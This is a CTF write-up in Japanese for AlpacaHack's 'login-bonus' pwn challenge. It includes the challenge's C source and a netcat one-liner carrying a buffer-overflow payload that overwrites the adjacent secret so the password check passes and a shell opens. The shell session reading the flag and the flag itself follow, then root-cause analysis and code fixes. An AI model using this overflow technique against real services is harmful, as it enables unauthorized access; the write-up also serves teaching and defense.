---
# System prepended metadata

title: '2025-12-17_"login-bonus": 251217'
tags: [Pwn, alpaca, medium, CTF]

---

# 2025-12-17_"login-bonus": 251217

<https://alpacahack.com/daily/challenges/login-bonus>
Level: Medium
Type: Pwn
solved day: 2025,12,17

## solution

```sh
( python -c 'import sys; sys.stdout.buffer.write(b"A"*16 + b"\x00" + b"B"*15 + b"A"*16 + b"\n")' ; cat ) \
| nc 34.170.146.252 6555

[DEBUG] Generating secure password...
Password: 
[DEBUG] Authenticicating...
[+] Success!

find / -maxdepth 1 -name 'flag-*' -type f -print
/flag-d592fd27eb4de74af194fda7990796ec.txt

cat /flag-d592fd27eb4de74af194fda7990796ec.txt
Alpaca{h0w_d1d_U_gu3s5_i7}

exit
```



## How I thought.

```sh
eza --tree
.
├── compose.yaml
├── Dockerfile
├── flag.txt
├── login
└── login.c
```

*   修正: `commen-login.c` は存在しない（typo/不要）。上の構成が実体。

### 1. `login.c` を読む

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/random.h>

#define debug_report(fmt, ...) printf("[DEBUG] " fmt "\n", ##__VA_ARGS__)

char password[32];
char secret[32];

int main() {
  /* Input password */
  printf("Password: ");
  scanf("%[^\n]", password);

  /* Check password */
  debug_report("Authenticating...");
  if (strcmp(password, secret)) {
    puts("[-] Wrong password");
    debug_report("'%s' != '%s'", password, secret);
  } else {
    puts("[+] Success!");
    system("/bin/sh");
  }
  return 0;
}

__attribute__((constructor))
void setup() {
  int seed;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  /* Generate random password */
  debug_report("Generating secure password...");
  getrandom(&seed, sizeof(seed), 0);
  srand(seed);
  for (size_t i = 0; i < 16; i++)
    secret[i] = 'A' + (rand() % 26);
}
```

*   挙動の要約:
    *   `scanf("%[^\n]")` で改行までを **幅指定なし** で `password[32]` に読み込む。
    *   `secret` は A〜Z の英大文字16文字が設定される（`setup` で毎回生成）。
    *   比較は `strcmp(password, secret)`（戻り値 0 が一致）。
    *   `debug_report("%s")` が `password` と `secret` を「文字列」として表示。

*   修正: 「`password`, `secret`それぞれに32文字分割り当てられているが、実際に使われているパスワード部は16文字だけ」という表現は紛らわしい。正しくは
    *   `secret` は「英大文字16文字」＋ グローバル配列の性質でその先は 0（ヌル）になり、**文字列としては長さ16**。
    *   `password` は **入力次第で任意長**だが、途中に NUL（`\x00`）を入れれば **文字列としての長さをそこで切れる**。



## 2. どこが問題か（設計上の穴）

*   入力が **幅指定なし**（`scanf("%[^\n]")`）なので、改行までのバイト列が **`password[32]` を超えても書き込まれる**。  
    → 実環境では `password` の直後に `secret` が .bss セクションで **連続配置**されがちなので、**境界外書き込みが `secret[0..]` を侵食**する。
*   文字列の終端（NUL, `'\0'`）に依存する比較 (`strcmp`) を使っている。  
    → ライブラリやフォーマットにより \*\*「どこに NUL が入るか」\*\*が勝敗を決める。
*   デバッグで `'%s' != '%s'` を出しているため、クライアントに **文字列としての見え方（終端位置・長さ）** が露出する。



## 3. 実際にどう崩したか（ペイロード設計）

入力のバイト並びを、次のように設計した。

    S(16)  = A×16                    → password[0..15]
    NUL    = \x00                    → password[16] で「文字列」としての password を終端
    X(15)  = B×15                    → password[17..31] をちょうど埋めて終わる（ここではまだ侵食しない）
    Y(16)  = A×16                    → 次の書き込み先は secret[0..15]
    NL     = \n                      → scanf が読み取りを終了

*   ポイント:
    *   NUL で `password` の「文字列」としての長さを 16 に固定。
    *   NUL の後に **ちょうど 15 バイト**を書き、`password` の残りを埋め切ってから、次の 16 バイトが **`secret[0..15]` に落ちる**ように位置合わせ。
    *   これで **`secret` の「文字列」も A×16** になる。  
        → `strcmp(password, secret) == 0`（内容＋長さが完全一致）で `[+] Success!`。

*   代替パターン（一般化）:
    *   `password` の「文字列」先頭16文字を `C0 + C1×15` にしたいなら、
        *   `S = C0 + C1×15`
        *   NUL
        *   `X = C0×15`（ここでは 15）
        *   `Y = C1×16`
        *   NL  
            とすれば、`secret` は `C0 + C1×15` になる（位置合わせの考え方は同じ）。



## 4. これが成り立つ理由（仕様と実装の間）

*   グローバルの `char secret[32]` は **未初期化でも 0 で埋まる**（BSS ゼロ初期化）。  
    → `setup` が 0..15 に英大文字を入れ、16 は 0 のまま。**文字列としては長さ16**。
*   `scanf("%[^\n]")` は **改行で停止**するため、途中の NUL（`\x00`）は \*\*「普通のバイト」\*\*として配列に書かれる。  
    → ライブラリは書き終えた位置に **終端 NUL** も付けるので、`secret[16]` にも 0 が残る/付く。
*   `strcmp` は **最初の NUL まで**を比較する。  
    → 文字列としての長さと内容が一致すれば 0（一致）。



## 5. 実行環境の意図（Docker/xinetd）

*   `xinetd` が TCP/9999 を待受し、接続ごとに `/usr/bin/timeout 180 /home/pwn/login` を起動。  
    → STDIN/STDOUT がソケットに直結し、**逐次出力**（`setbuf(..., NULL)`）になる。  
    → 接続ごとに新プロセスなので、`setup` は毎回走り `secret` は毎回別の乱数列。



## 6. 防御策（運用・コード修正）

*   入力に **幅指定**を入れる:
    ```c
    scanf("%31[^\n]", password);           // 配列32なら31＋終端
    // または
    if (fgets(password, sizeof(password), stdin)) {
        password[strcspn(password, "\n")] = '\0';   // 改行を除去
    }
    ```
*   `secret` を **明示的にヌル終端**する:
    ```c
    for (size_t i = 0; i < 16; i++)
      secret[i] = 'A' + (rand() % 26);
    secret[16] = '\0';
    ```
*   比較の前に **長さも検証**する（完全一致のみ合格）:
    ```c
    if (strlen(password) != 16 || strcmp(password, secret) != 0) {
        puts("[-] Wrong password");
        return 1;
    }
    ```
*   デバッグで **秘密を露出しない**:
    ```c
    // debug_report("'%s' != '%s'", password, secret); // 情報漏えいにつながる
    debug_report("len(password)=%zu, len(secret)=%zu", strlen(password), strlen(secret));
    ```



## 7. まとめ

*   根本原因は、`scanf("%[^\n]")` が **幅指定なし**で改行まで無制限に書き込むため、`password` の境界外に書き込みが進み **`secret` を侵食**できること
*   グローバル配列のゼロ初期化と `strcmp` の **NUL終端依存**が重なり、「文字列としての長さ・内容」を **狙って一致に誘導**できた
*   実環境では .bss で配列が **宣言順に連続**しがちで、未定義動作でありつつも **隣接配列破壊**が現象として起きやすい
*   対策は入力の **幅指定／安全な読み取り**、**明示的な終端**、**長さ検証**、**ログの情報管理**
